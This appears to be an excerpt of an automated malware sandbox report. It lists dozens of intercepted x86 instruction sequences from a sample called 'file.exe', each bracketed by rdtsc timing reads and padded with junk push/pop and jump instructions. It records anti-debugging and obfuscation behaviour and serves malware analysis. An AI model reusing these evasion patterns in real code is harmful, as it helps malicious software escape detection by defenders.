Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA839 second address: FCA871 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCDA8E5Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d jc 00007F0CFCDA8E58h 0x00000013 push edi 0x00000014 pop edi 0x00000015 jmp 00007F0CFCDA8E60h 0x0000001a push eax 0x0000001b push edx 0x0000001c jns 00007F0CFCDA8E56h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA871 second address: FCA875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA875 second address: FCA885 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0CFCDA8E56h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA885 second address: FCA889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA9FB second address: FCAA01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCAA01 second address: FCAA05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCAB11 second address: FCAB2A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F0CFCDA8E60h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCAB2A second address: FCAB5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0CFCBDECE7h 0x00000009 jmp 00007F0CFCBDECE1h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCAB5B second address: FCAB61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCAB61 second address: FCAB65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCAB65 second address: FCAB89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0CFCDA8E64h 0x0000000f ja 00007F0CFCDA8E56h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4CE7A second address: F4CE81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4CE81 second address: F4CEA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F0CFCDA8E62h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4CEA0 second address: F4CEB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0CFCBDECE2h 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB010 second address: FCB014 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F989F1 second address: F735C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 nop 0x00000009 or dword ptr [ebp+122D3451h], edi 0x0000000f lea eax, dword ptr [ebp+1248D7BBh] 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007F0CFCBDECD8h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f mov dword ptr [ebp+122D1DBAh], eax 0x00000035 jmp 00007F0CFCBDECE0h 0x0000003a nop 0x0000003b jmp 00007F0CFCBDECE0h 0x00000040 push eax 0x00000041 js 00007F0CFCBDECF0h 0x00000047 pushad 0x00000048 pushad 0x00000049 popad 0x0000004a jmp 00007F0CFCBDECE6h 0x0000004f popad 0x00000050 nop 0x00000051 call 00007F0CFCBDECE4h 0x00000056 mov ecx, 2BA43E2Eh 0x0000005b pop ecx 0x0000005c call dword ptr [ebp+1245DBF2h] 0x00000062 jmp 00007F0CFCBDECDBh 0x00000067 push eax 0x00000068 push edx 0x00000069 push esi 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F98F3A second address: F98F3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99035 second address: F9903C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9903C second address: DDEBA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F0CFCDA8E56h 0x00000009 jc 00007F0CFCDA8E56h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 cld 0x00000014 push dword ptr [ebp+122D1451h] 0x0000001a mov edi, dword ptr [ebp+122D37A4h] 0x00000020 call dword ptr [ebp+122D31F3h] 0x00000026 pushad 0x00000027 pushad 0x00000028 jno 00007F0CFCDA8E5Ch 0x0000002e movsx ebx, di 0x00000031 popad 0x00000032 xor eax, eax 0x00000034 cld 0x00000035 mov edx, dword ptr [esp+28h] 0x00000039 jnl 00007F0CFCDA8E64h 0x0000003f xor dword ptr [ebp+122D2E5Eh], ebx 0x00000045 mov dword ptr [ebp+122D3A74h], eax 0x0000004b jo 00007F0CFCDA8E57h 0x00000051 cmc 0x00000052 jmp 00007F0CFCDA8E69h 0x00000057 mov esi, 0000003Ch 0x0000005c cmc 0x0000005d add esi, dword ptr [esp+24h] 0x00000061 xor dword ptr [ebp+122D2E5Eh], ecx 0x00000067 lodsw 0x00000069 pushad 0x0000006a jmp 00007F0CFCDA8E60h 0x0000006f cld 0x00000070 popad 0x00000071 add eax, dword ptr [esp+24h] 0x00000075 pushad 0x00000076 add edx, dword ptr [ebp+122D39E8h] 0x0000007c mov esi, dword ptr [ebp+122D3AA0h] 0x00000082 popad 0x00000083 mov ebx, dword ptr [esp+24h] 0x00000087 jmp 00007F0CFCDA8E63h 0x0000008c nop 0x0000008d push eax 0x0000008e push edx 0x0000008f push ecx 0x00000090 push ecx 0x00000091 pop ecx 0x00000092 pop ecx 0x00000093 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99BCB second address: F99BD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99D14 second address: F99D18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99D18 second address: F99D1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99D1E second address: F741A5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F0CFCDA8E60h 0x0000000e nop 0x0000000f lea eax, dword ptr [ebp+1248D7BBh] 0x00000015 mov edi, dword ptr [ebp+122D1EADh] 0x0000001b mov dword ptr [ebp+1247EF4Eh], edx 0x00000021 push eax 0x00000022 jmp 00007F0CFCDA8E62h 0x00000027 mov dword ptr [esp], eax 0x0000002a jmp 00007F0CFCDA8E60h 0x0000002f call dword ptr [ebp+122D2338h] 0x00000035 pushad 0x00000036 push edi 0x00000037 jnl 00007F0CFCDA8E56h 0x0000003d jng 00007F0CFCDA8E56h 0x00000043 pop edi 0x00000044 pushad 0x00000045 je 00007F0CFCDA8E56h 0x0000004b pushad 0x0000004c popad 0x0000004d popad 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD07E8 second address: FD07EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD0AB7 second address: FD0ABB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD0ABB second address: FD0AC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD0AC1 second address: FD0AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD0AC7 second address: FD0AD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jnl 00007F0CFCBDECD6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD0AD3 second address: FD0AE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD0AE3 second address: FD0AE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD0AE7 second address: FD0AED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDCD1B second address: FDCD2B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0CFCBDECD8h 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDCD2B second address: FDCD2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDBF1E second address: FDBF24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDBF24 second address: FDBF29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC0C9 second address: FDC0CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC0CD second address: FDC0F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCDA8E66h 0x00000007 jmp 00007F0CFCDA8E5Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC384 second address: FDC396 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC396 second address: FDC3A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 jc 00007F0CFCDA8E56h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDEE7C second address: FDEE88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F0CFCBDECD6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDEE88 second address: FDEE8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDEE8C second address: FDEE90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE1A9F second address: FE1ACA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0CFCDA8E62h 0x00000009 jmp 00007F0CFCDA8E65h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE414B second address: FE4151 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE7452 second address: FE7471 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0CFCDA8E69h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE7471 second address: FE7475 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE7475 second address: FE7486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 jc 00007F0CFCDA8E56h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE75FA second address: FE7619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F0CFCBDECE1h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE7619 second address: FE7635 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0CFCDA8E66h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE7635 second address: FE7639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE7AAE second address: FE7ACC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0CFCDA8E68h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE7ACC second address: FE7AD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEDB4C second address: FEDB50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEDB50 second address: FEDB56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEDB56 second address: FEDB5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEDB5C second address: FEDB66 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0CFCBDECDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEC73C second address: FEC754 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0CFCDA8E64h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEC754 second address: FEC75A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEC75A second address: FEC764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEC89F second address: FEC8AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FECB7D second address: FECB82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FECB82 second address: FECB8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FECD1C second address: FECD38 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0CFCDA8E64h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FECD38 second address: FECD42 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0CFCBDECD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FECD42 second address: FECD65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0CFCDA8E68h 0x00000008 jc 00007F0CFCDA8E56h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FECD65 second address: FECD74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F0CFCBDECD6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FECD74 second address: FECD78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FED8DF second address: FED8E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0F3D second address: FF0F4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0CFCDA8E5Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF10AC second address: FF10C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECE2h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF10C4 second address: FF10EE instructions: 0x00000000 rdtsc 0x00000002 je 00007F0CFCDA8E5Ch 0x00000008 jne 00007F0CFCDA8E70h 0x0000000e jmp 00007F0CFCDA8E64h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF71AA second address: FF71AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF71AE second address: FF71B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF71B9 second address: FF71C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F0CFCBDECD6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF71C5 second address: FF71D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF71D0 second address: FF71E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F0CFCBDECDAh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF71E1 second address: FF721A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnl 00007F0CFCDA8E56h 0x00000009 jl 00007F0CFCDA8E56h 0x0000000f pop ebx 0x00000010 pushad 0x00000011 jmp 00007F0CFCDA8E60h 0x00000016 jmp 00007F0CFCDA8E66h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF752C second address: FF7569 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007F0CFCBDECEEh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF7569 second address: FF756D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF7ACA second address: FF7AD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF7AD2 second address: FF7ADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF7DD3 second address: FF7DD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8094 second address: FF80A2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jo 00007F0CFCDA8E56h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8968 second address: FF896D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF896D second address: FF8973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8973 second address: FF8996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F0CFCBDECE7h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8996 second address: FF89A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0CFCDA8E5Ah 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001B16 second address: 1001B32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECE8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001B32 second address: 1001B56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F0CFCDA8E6Ah 0x0000000c jmp 00007F0CFCDA8E62h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001B56 second address: 1001B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0CFCBDECE1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001B6B second address: 1001B6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1009F6E second address: 1009F7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007F0CFCBDECD6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100A3A9 second address: 100A3F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F0CFCDA8E63h 0x0000000d popad 0x0000000e jmp 00007F0CFCDA8E65h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 push eax 0x00000018 pop eax 0x00000019 pop edx 0x0000001a jmp 00007F0CFCDA8E63h 0x0000001f rdtsc
